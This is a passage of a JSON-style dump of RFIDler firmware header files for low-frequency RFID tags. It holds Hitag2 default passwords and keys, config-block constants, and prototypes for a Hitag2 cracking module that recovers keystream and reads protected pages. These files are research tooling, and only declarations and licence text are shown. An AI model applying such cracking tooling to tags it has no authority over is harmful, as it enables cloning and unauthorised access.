HITAG2_START_AUTH           \"11000\"         // get UID and/or start the authentication process\n#define HITAG2_READ_PAGE            \"11\"            // read page after auth\n#define HITAG2_READ_PAGE_INVERTED   \"01\"            // as read page but all bits inverted\n#define HITAG2_WRITE_PAGE           \"10\"            // write page after auth\n#define HITAG2_HALT                 \"00\"            // silence currently authenticated tag\n\n#define HITAG2_PWD_DEFAULT          \"4D494B52\"      // hitag default PWD (\"MIKR\")\n\n#define HITAG2_KEY_LOW              \"4D494B52\"      // hitag default KEY_LOW\n#define HITAG2_KEY_HIGH             \"4F4E\"          // hitag default KEY_HIGH (\"ON\")\n#define HITAG2_KEY_DEFAULT          \"4F4E4D494B52\"  // hitag default key in correct order for AUTH command (\"ONMIKR\")\n\n#define HITAG2_BLANK_BLOCK          \"00000000\"\n\n#define HITAG2_PW_BLOCK_NUM         1               // password block number\n#define HITAG2_KEY_BLOCK_NUM        2               // crypto key block number\n#define HITAG2_CONFIG_BLOCK_NUM     3               // hitag2 config block\n#define HITAG2_USER_DATA_BLOCK_NUM  4               // 1st user data block\n#define HITAG2_BLOCKSIZE            32              // block size in bits\n#define HITAG2_DATABLOCKS           8               // total number of blocks\n\n#define HITAG2_WRITE_DELAY          614             // time to complete write in FCs\n\n// config blocks\n#define HITAG2_DEFAULT_CONFIG_BLOCK \"06AA4854\"      // hitag2 native, password mode\n#define HITAG2_CRYPTO_CONFIG_BLOCK  \"0EAA4854\"      // hitag2 native, crypto mode\n#define HITAG2_FDXB_CONFIG_BLOCK    \"00AA4854\"      // public-mode b\n#define HITAG2_UNIQUE_CONFIG_BLOCK  \"02AA4854\"      // public-mode a\n#define HITAG2_EM4X02_CONFIG_BLOCK  \"02AA4854\"      // public-mode a\n#define HITAG2_PAXTON_CONFIG_BLOCK  \"02AA4854\"      // public-mode a\n#define HITAG2_MODEC_CONFIG_BLOCK   \"04AA4854\"      // public-mode c - PCF793X\n\n// config block masks\n\n#define HITAG2_MASK_PAGE_1_2_OTP_PROTECT    0b10000000\n#define HITAG2_MASK_PAGE_3_OTP_PROTECT      0b01000000\n#define HITAG2_MASK_PAGE_4_5_PROTECT        0b00100000\n#define HITAG2_MASK_PAGE_6_7_PROTECT        0b00010000\n#define HITAG2_MASK_SECURITY                0b00001000\n#define HITAG2_MASK_MODE                    0b00000110\n#define HITAG2_MASK_MODULATION              0b00000001\n\n// config block bit shifts\n#define HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT   7\n#define HITAG2_SHIFT_PAGE_3_OTP_PROTECT     6\n#define HITAG2_SHIFT_PAGE_4_5_PROTECT       5\n#define HITAG2_SHIFT_PAGE_6_7_PROTECT       4\n#define HITAG2_SHIFT_SECURITY               3\n#define HITAG2_SHIFT_MODE                   1\n#define HITAG2_SHIFT_MODULATION             0\n\n#define HITAG2_PWM_NVM_PAGES 2\n#define HITAG2_PWM_NVM_SIZE (NVM_PAGE_SIZE * HITAG2_PWM_NVM_PAGES)\n#define HITAG2_PWM_NVM_ADDRESS (RFIDLER_NVM_ADDRESS - HITAG2_PWM_NVM_SIZE)\n#define HITAG2_PWM_NVM_DATA (HITAG2_PWM_NVM_ADDRESS + 4)\n#define HITAG2_PWM_NVM_MAX ((HITAG2_PWM_NVM_SIZE / 20) - 1)\n\n\nBOOL hitag1_get_uid(BYTE *response);\nBOOL hitag1_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL hitag1_select(BYTE *response, BYTE *uid);\nBOOL hitag1_read_page(BYTE *response, BYTE block);\nBOOL hitag1_send_command(BYTE *response, BYTE *command, BOOL reset, BOOL sync, BYTE response_length, BOOL ack);\nvoid hitag1_binarray_crc(BYTE *crc, BYTE *bin, BYTE length);\nvoid hitag1_crc(BYTE *crc, BYTE data, BYTE bits);\nBOOL hitag1_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);\n\nBOOL hitag2_get_uid(BYTE *response);\nBOOL hitag2_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL hitag2_pwd_auth(BYTE *response, BYTE *pwd);\nBOOL hitag2_read_page(BYTE *response, BYTE block);\nBOOL hitag2_write_page(BYTE block, BYTE *data);\nvoid hitag2_test_rwd(unsigned int gapmin, unsigned int gapmax, unsigned int zeromin, unsigned int zeromax, unsigned int onemin, unsigned int onemax, BYTE *pass);\nBOOL hitag2_hex_crypt(BYTE *target, BYTE *source);\nvoid hitag2_binstring_crypt(BYTE *target, BYTE *source);\nvoid hitag2_binarray_crypt(BYTE *target, BYTE *source, unsigned int length);\nunsigned long hitag2_crypt(unsigned long source, BYTE length);\nunsigned int hitag_ac_to_bin(BYTE *target, BYTE *source, unsigned int length);\nBOOL hitag2_emulate_config_block(BYTE *config, BYTE target_tagtype);\nBOOL hitag2_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);\nBOOL hitag2_config_block_show(BYTE *config, BYTE *password, BYTE *key);\n\nvoid hitag2_pwm_nvm_clear();\nvoid store_pwm(BYTE *data);\nvoid hitag2_pwm_display_nrars();\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/hitag2crack.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Kevin Sheldrake <kev@headhacking.com>\n\n#define HITAG2_NVM_PAGES 2\n#define HITAG2_NVM_SIZE (NVM_PAGE_SIZE * HITAG2_NVM_PAGES)\n#define HITAG2_NVM_ADDRESS (RFIDLER_NVM_ADDRESS - HITAG2_NVM_SIZE)\n#define HITAG2_NVM_DATA (HITAG2_NVM_ADDRESS + 4)\n#define HITAG2_NVM_MAX ((HITAG2_NVM_SIZE / 64) - 1)\n\nBOOL hitag2_crack(BYTE *response, BYTE *nrarhex);\nBOOL hitag2crack_find_valid_e_cmd(BYTE e_cmd[], BYTE nrar[]);\nBOOL hitag2crack_find_e_page0_cmd(BYTE keybits[], BYTE e_firstcmd[], BYTE nrar[], BYTE uid[]);\nBOOL hitag2crack_test_e_p0cmd(BYTE *keybits, BYTE *nrar, BYTE *e_cmd, BYTE *uid, BYTE *e_uid);\nvoid hitag2crack_xor(BYTE *target, BYTE *source, BYTE *pad, unsigned int len);\nBOOL hitag2crack_read_page(BYTE *responsestr, BYTE pagenum, BYTE *nrar, BYTE *keybits);\nBOOL hitag2crack_send_e_cmd(BYTE *responsestr, BYTE *nrar, BYTE *cmd, int len);\nBOOL hitag2crack_tx_rx(BYTE *responsestr, BYTE *msg, int len, int state, BOOL reset);\n\nBOOL hitag2crack_rng_init(BYTE *response, BYTE *input);\nBOOL hitag2crack_decrypt_hex(BYTE *response, BYTE *hex);\nBOOL hitag2crack_decrypt_bin(BYTE *response, BYTE *hex);\nBOOL hitag2crack_encrypt_hex(BYTE *response, BYTE *hex);\nBOOL hitag2crack_encrypt_bin(BYTE *response, BYTE *hex);\n\nBOOL hitag2_keystream(BYTE *response, BYTE *nrarhex);\nBOOL hitag2crack_send_auth(BYTE *nrar);\nBOOL hitag2crack_consume_keystream(BYTE *keybits, int kslen, int *ksoffset, BYTE *nrar);\nBOOL hitag2crack_extend_keystream(BYTE *keybits, int *kslen, int ksoffset, BYTE *nrar, BYTE *uid);\n\nBOOL hitag2_reader(BYTE *response, BYTE *key, BOOL interactive);\nvoid hitag2_nvm_clear();\nBOOL hitag2_nvm_store_tag(BYTE *tag);\nBYTE *hitag2_nvm_find_tag(BYTE *tag);\nBOOL hitag2_nvm_count_tags();\nBOOL hitag2_nvm_display_tags(uint32_t start, uint32_t end);"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/hitagcrypto.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n\n#ifndef HITAGCRYPTO_H\n#define\tHITAGCRYPTO_H\n\n#include <stdint.h>\n\n/*\n   Our model of Hitag 2 crypto uses 2 parallel shift registers:\n   a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.\n   b. 48 bit Linear Feedback Shift Register (LFSR).\n      A transform of initial register (a) value, which is then run in parallel.\n      Enables much faster calculation of the feedback values.\n\n   API:\n   void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,\n         uint32_t initvector);\n      Initialise state from 48 bit shared (secret) reader/tag key,\n      32 bit tag serial number and 32 bit initialisation vector from reader.\n\n   uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n      update shift register state and generate N cipher bits (N should be <= 32)\n */\n\n\ntypedef struct {\n    uint64_t shiftreg; // naive shift register, required for nonlinear fn input\n    uint64_t lfsr;     // fast lfsr, used to make software faster\n} Hitag_State;\n\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);\n\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n\nunsigned int hitag2_benchtest_gen32();\nunsigned int hitag2_benchtest(uint32_t count);\nunsigned hitag2_verifytest();\n\n#endif\t/* HITAGCRYPTO_H */\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/indala.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define INDALA_64_DATABITS      64\n#define INDALA_224_DATABITS     224\n\n// definitions for Indala devices\n\nBOOL send_indala_raw(unsigned char *indala);\nBOOL indala64_get_uid(BYTE *response);\nBOOL indala64_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL indala224_get_uid(BYTE *response);\nBOOL indala224_hex_to_uid(BYTE *response, BYTE *hex);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/iso_7816.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      